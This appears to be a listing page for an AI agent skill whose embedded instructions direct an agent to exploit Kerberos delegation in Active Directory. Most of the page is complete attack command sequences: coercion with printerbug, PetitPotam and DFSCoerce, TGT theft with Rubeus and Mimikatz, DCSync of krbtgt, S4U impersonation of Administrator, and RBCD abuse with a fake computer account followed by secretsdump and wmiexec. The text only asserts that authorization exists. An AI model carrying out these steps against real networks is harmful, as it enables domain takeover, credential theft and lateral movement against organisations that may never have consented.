ad-acl-abuse
FreeYou are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit Kerberos delegation misconfigurations
The English summary is being prepared. Showing the original description.
See how to installReview the instructions the agent will receive before you install.
You are helping a penetration tester exploit Kerberos delegation misconfigurations for privilege escalation and lateral movement. All testing is under explicit written authorization.
Kerberos-first authentication: All commands default to Kerberos auth via
ccache. Convert credentials to a TGT first, then use -k -no-pass (Impacket),
--use-kcache (NetExec), or /ticket: (Rubeus) throughout.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[kerberos-delegation] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
netexec/nxc, optionally Rubeus, bloodyAD,
krbrelayx, SpoolSample/dementor.py/PetitPotamKerberos-first workflow:
getTGT.py DOMAIN/user -hashes :NTHASH
# or with AES (preferred)
getTGT.py DOMAIN/user -aesKey AES256KEY
export KRB5CCNAME=user.ccache
# All subsequent commands use -k -no-pass
Identify delegation-configured accounts. Skip if already provided by ad-discovery or conversation context.
# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
--filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \
--attr sAMAccountName,userAccountControl
# PowerView (Windows)
Get-DomainComputer -Unconstrained -Properties name,dnshostname
Note: Domain Controllers always have unconstrained delegation. Focus on
non-DC computers with TRUSTED_FOR_DELEGATION.
# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
--filter '(msds-allowedtodelegateto=*)' \
--attr sAMAccountName,msds-allowedtodelegateto
# PowerView (Windows)
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
# BloodHound Cypher
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
# bloodyAD — find computers you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \
--otype COMPUTER --right WRITE --detail
# Check MachineAccountQuota (for creating attacker computer)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota
# Check existing RBCD
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd
| Finding | Go To |
|---|---|
| Non-DC computer with unconstrained delegation + local admin | Step 2 |
Service account/computer with msDS-AllowedToDelegateTo | Step 3 |
| Write access to a computer's AD object | Step 4 |
| GenericAll/WriteDACL on computer + MachineAccountQuota > 0 | Step 4 |
Concept: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.
Requirements:
# Rubeus — monitor for new TGTs (run before coercion)
.\Rubeus.exe monitor /interval:1 /nowrap
# Mimikatz — export all cached tickets
privilege::debug
sekurlsa::tickets /export
Force a DC or high-value target to authenticate to the unconstrained host.
Print Spooler (MS-RPRN) — SpoolService Bug:
# Check if Print Spooler is running
ls \\DC01\pipe\spoolss # Windows
rpcdump.py DOMAIN/user@DC01 -k -no-pass | grep MS-RPRN # Linux
# Coerce DC to authenticate to unconstrained host
python3 printerbug.py 'DOMAIN/user:password'@DC01 UNCONSTRAINED-HOST
# Or
SpoolSample.exe DC01 UNCONSTRAINED-HOST
# Or
python3 dementor.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01
PetitPotam (MS-EFSR):
# Authenticated
python3 petitpotam.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01
# Unauthenticated (if not patched)
python3 petitpotam.py -d '' -u '' -p '' UNCONSTRAINED-HOST DC01
DFSCoerce (MS-DFSNM):
python3 dfscoerce.py -d DOMAIN -u user -p password UNCONSTRAINED-HOST DC01
# Rubeus — extract the DC$ TGT from monitor output
.\Rubeus.exe ptt /ticket:<base64-ticket>
# Request service tickets for lateral movement
.\Rubeus.exe asktgs /ticket:<base64-ticket> \
/service:LDAP/DC01.DOMAIN.LOCAL,cifs/DC01.DOMAIN.LOCAL /ptt
# DCSync with DC machine TGT
mimikatz # lsadump::dcsync /user:DOMAIN\krbtgt
# Linux — if using krbrelayx to catch the ticket
python3 krbrelayx.py -hashes :MACHINE_NTHASH
# After catching ticket:
export KRB5CCNAME=DC01\$@DOMAIN.LOCAL_krbtgt@DOMAIN.LOCAL.ccache
secretsdump.py -k -no-pass DOMAIN/DC01\$@DC01.DOMAIN.LOCAL
Concept: A service with msDS-AllowedToDelegateTo can impersonate any user
to the listed SPNs using S4U2Self + S4U2Proxy. SPN swapping (/altservice)
lets you access services beyond the listed SPNs.
Requirements:
TrustedToAuthForDelegation flag for full S4U (protocol transition)# One-step: get impersonated service ticket
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
-impersonate Administrator \
DOMAIN/svc-constrained -k -no-pass
# With SPN swapping (altservice)
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
-altservice ldap/TARGET.DOMAIN.LOCAL \
-impersonate Administrator \
DOMAIN/svc-constrained -k -no-pass
# With hash (if no ccache available)
getST.py -spn cifs/TARGET.DOMAIN.LOCAL \
-impersonate Administrator \
DOMAIN/svc-constrained -hashes :NTHASH
# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
smbclient.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
# S4U with AES256 (OPSEC preferred)
.\Rubeus.exe s4u /user:svc-constrained /aes256:AES256KEY \
/impersonateuser:Administrator \
/msdsspn:cifs/TARGET.DOMAIN.LOCAL \
/altservice:ldap,cifs,host,http,wsman,rpcss \
/ptt /nowrap
# S4U with RC4/NTLM hash
.\Rubeus.exe s4u /user:svc-constrained /rc4:NTHASH \
/impersonateuser:Administrator \
/msdsspn:cifs/TARGET.DOMAIN.LOCAL \
/altservice:cifs,host,http,wsman,ldap \
/ptt /nowrap
# Verify
klist
dir \\TARGET.DOMAIN.LOCAL\C$
The service name in the ticket is not in the encrypted part — you can swap it:
| Listed SPN | Swap To | Access |
|---|---|---|
cifs/host | ldap/host | DCSync via LDAP |
time/host | cifs/host | File shares, psexec |
http/host | wsman/host | WinRM |
| Any | host/target | General service access |
| Any | rpcss/target | DCOM/WMI |
If you have write access over a constrained delegation account (via ACL abuse):
# Set constrained delegation on account you control
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL set object WEBSRV\$ \
msDS-AllowedToDelegateTo -v 'cifs/DC.DOMAIN.LOCAL'
# Enable TrustedToAuthForDelegation
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add uac WEBSRV\$ \
-f TRUSTED_TO_AUTH_FOR_DELEGATION
S-1-18-2 (SERVICE_ASSERTED_IDENTITY) in PACConcept: Any principal with write access to a computer's AD object can set
msDS-AllowedToActOnBehalfOfOtherIdentity to allow an attacker-controlled
account to impersonate users against that computer via S4U.
Requirements:
# Impacket
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'P@ssw0rd123!' \
DOMAIN/user -k -no-pass
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add computer FAKECOMP 'P@ssw0rd123!'
Skip if you already control a computer account (e.g., compromised host).
# Impacket rbcd.py
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -action write \
DOMAIN/user -k -no-pass
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL add rbcd 'TARGET$' 'FAKECOMP$'
# PowerView (Windows)
$sid = Get-DomainComputer FAKECOMP -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor \
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($bytes, 0)
Get-DomainComputer TARGET | Set-DomainObject \
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}
# Verify
rbcd.py -delegate-to 'TARGET$' -action read DOMAIN/user -k -no-pass
# Get TGT for attacker machine account
getTGT.py DOMAIN/'FAKECOMP$':'P@ssw0rd123!'
# S4U to impersonate Administrator on target
export KRB5CCNAME=FAKECOMP\$.ccache
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
DOMAIN/'FAKECOMP$' -k -no-pass
# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
wmiexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
# Rubeus (Windows)
.\Rubeus.exe hash /password:'P@ssw0rd123!' /user:FAKECOMP$ /domain:DOMAIN.LOCAL
.\Rubeus.exe s4u /user:FAKECOMP$ /aes256:AES256HASH \
/impersonateuser:Administrator \
/msdsspn:cifs/TARGET.DOMAIN.LOCAL \
/altservice:cifs,host,http,wsman,ldap \
/ptt /nowrap
# Remove RBCD delegation
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -action remove \
DOMAIN/user -k -no-pass
# Or flush entire RBCD list
rbcd.py -delegate-to 'TARGET$' -action flush DOMAIN/user -k -no-pass
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL remove rbcd 'TARGET$' 'FAKECOMP$'
# Verify removal
rbcd.py -delegate-to 'TARGET$' -action read DOMAIN/user -k -no-pass
STOP and return to the orchestrator with:
RC4 hash provided but KDC requires AES. Extract AES256 key from LSASS or
DCSync and use -aesKey instead of -hashes.
$), not a user accountFor classic constrained delegation, S4U2Self must return a Forwardable ticket
(requires TrustedToAuthForDelegation flag). For RBCD, non-Forwardable tickets
work — the target computer validates RBCD differently.
Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP
bloodyAD get writable --otype COMPUTER --right WRITEGenericAll, GenericWrite, WriteDACL, or WriteProperty on the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute is requiredCannot create new computer accounts. Alternatives:
CreateChild rights on an OU (bypasses MAQ)| Type | Detection Surface | Event IDs | AD Modification |
|---|---|---|---|
| Unconstrained | Coercion traffic, ticket extraction | 4768/4769 | None |
| Constrained (S4U) | S4U requests, SPN swap | 4768/4769 | None (if existing) |
| RBCD | Object modification, machine account | 4741, 5136, 4768/4769 | Yes (cleanup needed) |
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
You are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester enumerate an Active Directory domain and
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistent access in Active
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit ADCS through template/CA access
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistence through AD CS
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit misconfigured AD CS certificate
The English summary is being prepared. Showing the original description.